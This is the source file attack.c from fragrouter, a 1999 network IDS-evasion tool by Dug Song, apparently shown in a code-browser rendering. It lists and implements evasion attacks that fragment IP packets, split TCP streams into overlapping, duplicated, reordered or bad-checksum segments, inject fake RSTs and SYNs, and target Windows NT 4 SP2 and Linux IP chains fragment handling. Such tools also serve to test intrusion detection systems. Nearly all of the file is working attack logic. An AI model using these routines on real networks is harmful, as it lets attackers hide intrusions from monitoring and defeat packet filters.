1 /*
2   attack.c
3 
4   Dug Song <dugsong@anzen.com>
5 
6   Copyright (c) 1999 Anzen Computing. All rights reserved.
7 
8   Redistribution and use in source and binary forms, with or without
9   modification, are permitted provided that the following conditions
10   are met:
11 
12   1. Redistributions of source code must retain the above copyright
13      notice, this list of conditions and the following disclaimer.
14   2. Redistributions in binary form must reproduce the above copyright
15      notice, this list of conditions and the following disclaimer in the
16      documentation and/or other materials provided with the distribution.
17   3. All advertising materials mentioning features or use of this software
18      must display the following acknowledgement:
19      This product includes software developed by Anzen Computing.
20   4. Neither the name of Anzen Computing nor the names of its
21      contributors may be used to endorse or promote products derived
22      from this software without specific prior written permission.
23 
24   THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
25   WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
26   MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
27   IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
28   DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
29   DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
30   GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
31   INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER
32   IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
33   OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
34   ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
35 
36   $Id: attack.c,v 1.15 1999/07/29 15:52:33 dugsong Exp $
37 */
38 
39 #include "config.h"
40 
41 #ifdef STDC_HEADERS
42 #include <stdio.h>
43 #endif
44 #include <pcap.h>
45 #include "attack.h"
46 #include "sniff.h"
47 #include "ip_frag.h"
48 #include "tcp_seg.h"
49 #include "misc.h"
50 #include "send.h"
51 
52 int attack_type;
53 int attack_num;
54 
55 char *attack_list[] = {
56   NULL, /* ATTACK_BASE */
57   "base-1: normal IP forwarding",
58   NULL,
59   NULL,
60   NULL,
61   NULL,
62   NULL,
63   NULL,
64   NULL,
65   NULL,
66   NULL, /* ATTACK_FRAG */
67   "frag-1: ordered 8-byte IP fragments",
68   "frag-2: ordered 24-byte IP fragments",
69   "frag-3: ordered 8-byte IP fragments, one out of order",
70   "frag-4: ordered 8-byte IP fragments, one duplicate",
71   "frag-5: out of order 8-byte fragments, one duplicate",
72   "frag-6: ordered 8-byte fragments, marked last frag first",
73   "frag-7: ordered 16-byte fragments, fwd-overwriting",
74   NULL,
75   NULL,
76   NULL, /* ATTACK_TCP */
77   "tcp-1:  3-whs, bad TCP checksum FIN/RST, ordered 1-byte segments",
78   NULL, /* "tcp-2:  3-whs, ordered 1-byte segments, sequence number wrap" */
79   "tcp-3:  3-whs, ordered 1-byte segments, one duplicate",
80   "tcp-4:  3-whs, ordered 1-byte segments, one overwriting",
81   "tcp-5:  3-whs, ordered 2-byte segments, fwd-overwriting",
82   NULL, /* "tcp-6:  ordered 1-byte segments, sequence number jump" */
83   "tcp-7:  3-whs, ordered 1-byte segments, interleaved null segments",
84   "tcp-8:  3-whs, ordered 1-byte segments, one out of order",
85   "tcp-9:  3-whs, out of order 1-byte segments",
86   NULL, /* ATTACK_TCBC */
87   NULL, /* "tcbc-1: no handshake, ordered 1-byte segments" */
88   "tcbc-2: 3-whs, ordered 1-byte segments, interleaved SYNs",
89   "tcbc-3: ordered 1-byte null segments, 3-whs, ordered 1-byte segments",
90   NULL,
91   NULL,
92   NULL,
93   NULL,
94   NULL,
95   NULL,
96   NULL, /* ATTACK_TCBT */
97   "tcbt-1: 3-whs, RST, 3-whs, ordered 1-byte segments",
98   NULL, /* "tcbt-2: 3-whs, ordered 1-byte segments, RST, ordered 1-byte segments" */
99   NULL,
100   NULL,
101   NULL,
102   NULL,
103   NULL,
104   NULL,
105   NULL,
106   NULL, /* ATTACK_INSERT */
107   NULL, /* "ins-1:  3-whs, ordered 1-byte segments, bad IP checksums" */
108   "ins-2:  3-whs, ordered 1-byte segments, bad TCP checksums",
109   "ins-3:  3-whs, ordered 1-byte segments, no ACK set",
110   NULL,
111   NULL,
112   NULL,
113   NULL,
114   NULL,
115   NULL,
116   NULL, /* ATTACK_EVADE */
117   NULL, /* "evad-1: 3-whs, data in SYN" */
118   NULL,
119   NULL,
120   NULL,
121   NULL,
122   NULL,
123   NULL,
124   NULL,
125   NULL,
126   NULL, /* ATTACK_MISC */
127   "misc-1: Windows NT 4 SP2 - http://www.dataprotect.com/ntfrag/",
128   "misc-2: Linux IP chains - http://www.dataprotect.com/ipchains/",
129   NULL,
130   NULL,
131   NULL,
132   NULL,
133   NULL,
134   NULL,
135   NULL
136 };
137 
138 char *
attack_string(int type,int num)139 attack_string(int type, int num)
140 {
141   if (type >= 0 && type < ATTACK_MAX &&
142       num > 0 && num < 10)
143     return attack_list[type + num];
144 
145   return NULL;
146 }
147 
148 int
attack_baseline(u_char * pkt,int len)149 attack_baseline(u_char *pkt, int len)
150 {
151   return (send_packet(pkt, len));
152 }
153 
154 int
attack_frag(u_char * pkt,int len)155 attack_frag(u_char *pkt, int len)
156 {
157   ELEM *f, *frag = NULL;
158 
159   if (attack_num == 1) {
160     frag = ip_frag_make(pkt, len, 8);
161   }
162   else if (attack_num == 2) {
163     frag = ip_frag_make(pkt, len, 24);
164   }
165   else if (attack_num == 3) {
166     frag = ip_frag_make(pkt, len, 8);
167     if ((f = list_last(frag)) != NULL)
168       list_swap(f->prev);
169   }
170   else if (attack_num == 4) {
171     frag = ip_frag_make(pkt, len, 8);
172     if ((f = list_last(frag)) != NULL)
173       list_dup(f->prev);
174   }
175   else if (attack_num == 5) {
176     frag = ip_frag_make(pkt, len, 8);
177     if ((f = list_last(frag)) != NULL) {
178       list_dup(f->prev);
179       list_randomize(f->head);
180     }
181   }
182   else if (attack_num == 6) {
183     frag = ip_frag_make(pkt, len, 8);
184     if ((f = list_last(frag)) != NULL)
185       list_swap(f);
186   }
187   else if (attack_num == 7) {
188     frag = ip_frag_make(pkt, len, 16);
189     if (frag)
190       ip_frag_add_overwrite(frag);
191   }
192   else return 0;
193 
194   if (frag) {
195     send_list(frag->head);
196     list_free(frag->head);
197     return 1;
198   }
199   return (attack_baseline(pkt, len));
200 }
201 
202 int
attack_misc(u_char * pkt,int len)203 attack_misc(u_char *pkt, int len)
204 {
205   ELEM *frag = NULL;
206 
207   if (attack_num == 1) {
208     frag = misc_nt4sp2(pkt, len, 8);
209   }
210   if (attack_num == 2) {
211     frag = misc_linuxipchains(pkt, len);
212   }
213   if (frag) {
214     send_list(frag->head);
215     list_free(frag->head);
216     return 1;
217   }
218   return (attack_baseline(pkt, len));
219 }
220 
221 int
attack_tcbc(u_char * pkt,int len)222 attack_tcbc(u_char *pkt, int len)
223 {
224   ELEM *seg = NULL;
225 
226   if (attack_num == 2) {
227     seg = tcp_seg_make(pkt, len, 1);
228     if (seg)
229       seg = tcp_seg_interleave_syns(seg);
230   }
231   else if (attack_num == 3) {
232     seg = tcp_seg_make(pkt, len, 1);
233     if (!seg)
234       seg = tcp_seg_prepend_junk(pkt, len);
235   }
236   else return 0;
237 
238   if (seg) {
239     send_list(seg->head);
240     list_free(seg->head);
241     return 1;
242   }
243   return (attack_baseline(pkt, len));
244 }
245 
246 int
attack_tcbt(u_char * pkt,int len)247 attack_tcbt(u_char *pkt, int len)
248 {
249   ELEM *seg = NULL;
250 
251   if (attack_num == 1) {
252     seg = tcp_seg_make(pkt, len, 1);
253     if (!seg)
254       seg = tcp_seg_prepend_connection(pkt, len);
255   }
256   if (seg) {
257     send_list(seg->head);
258     list_free(seg->head);
259     return 1;
260   }
261   return (attack_baseline(pkt, len));
262 }
263 
264 int
attack_insert(u_char * pkt,int len)265 attack_insert(u_char *pkt, int len)
266 {
267   ELEM *seg = NULL;
268 
269   if (attack_num == 2) {
270     seg = tcp_seg_make(pkt, len, 1);
271     if (seg)
272       tcp_seg_whack_checksums(seg);
273   }
274   else if (attack_num == 3) {
275     seg = tcp_seg_make(pkt, len, 1);
276     if (seg)
277       tcp_seg_whack_acks(seg);
278   }
279   else return 0;
280 
281   if (seg) {
282     send_list(seg->head);
283     list_free(seg->head);
284     return 1;
285   }
286   return (attack_baseline(pkt, len));
287 }
288 
289 int
attack_tcp(u_char * pkt,int len)290 attack_tcp(u_char *pkt, int len)
291 {
292   ELEM *s, *seg = NULL;
293 
294   if (attack_num == 1) {
295     seg = tcp_seg_make(pkt, len, 1);
296     if (!seg)
297       seg = tcp_seg_prepend_fakeclose(pkt, len);
298   }
299   else if (attack_num == 3) {
300     seg = tcp_seg_make(pkt, len, 1);
301     if ((s = list_last(seg)) != NULL)
302       list_dup(s->prev);
303   }
304   else if (attack_num == 4) {
305     seg = tcp_seg_make(pkt, len, 1);
306     if ((s = list_last(seg)) != NULL) {
307       s = list_dup(s->prev);
308       tcp_seg_null_payload(s);
309       list_swap(s);
310     }
311   }
312   else if (attack_num == 5) {
313     seg = tcp_seg_make(pkt, len, 2);
314     if (seg)
315       tcp_seg_interleave_overwrites(seg);
316   }
317   else if (attack_num == 7) {
318     seg = tcp_seg_make(pkt, len, 1);
319     if (seg)
320       tcp_seg_interleave_nulls(seg);
321   }
322   else if (attack_num == 8) {
323     seg = tcp_seg_make(pkt, len, 1);
324     if ((s = list_last(seg)) != NULL)
325       list_swap(s->prev);
326   }
327   else if (attack_num == 9) {
328     seg = tcp_seg_make(pkt, len, 1);
329     if (seg != NULL)
330       list_randomize(seg);
331   }
332   if (seg) {
333     send_list(seg->head);
334     list_free(seg->head);
335     return 1;
336   }
337   return (attack_baseline(pkt, len));
338 }
339 
340 attack_handler
attack_init(int type,int num,char * ebuf)341 attack_init(int type, int num, char *ebuf)
342 {
343   void *attack = NULL;
344 
345   if (!attack_string(type, num)) {
346     strcpy(ebuf, "attack unimplemented");
347     return NULL;
348   }
349   else if (type == ATTACK_BASE)
350     attack = attack_baseline;
351   else if (type == ATTACK_FRAG)
352     attack = attack_frag;
353   else if (type == ATTACK_TCP)
354     attack = attack_tcp;
355   else if (type == ATTACK_TCBC)
356     attack = attack_tcbc;
357   else if (type == ATTACK_TCBT)
358     attack = attack_tcbt;
359   else if (type == ATTACK_INSERT)
360     attack = attack_insert;
361   else if (type == ATTACK_MISC)
362     attack = attack_misc;
363 
364   attack_type = type;
365   attack_num = num;
366 
367   return attack;
368 }
369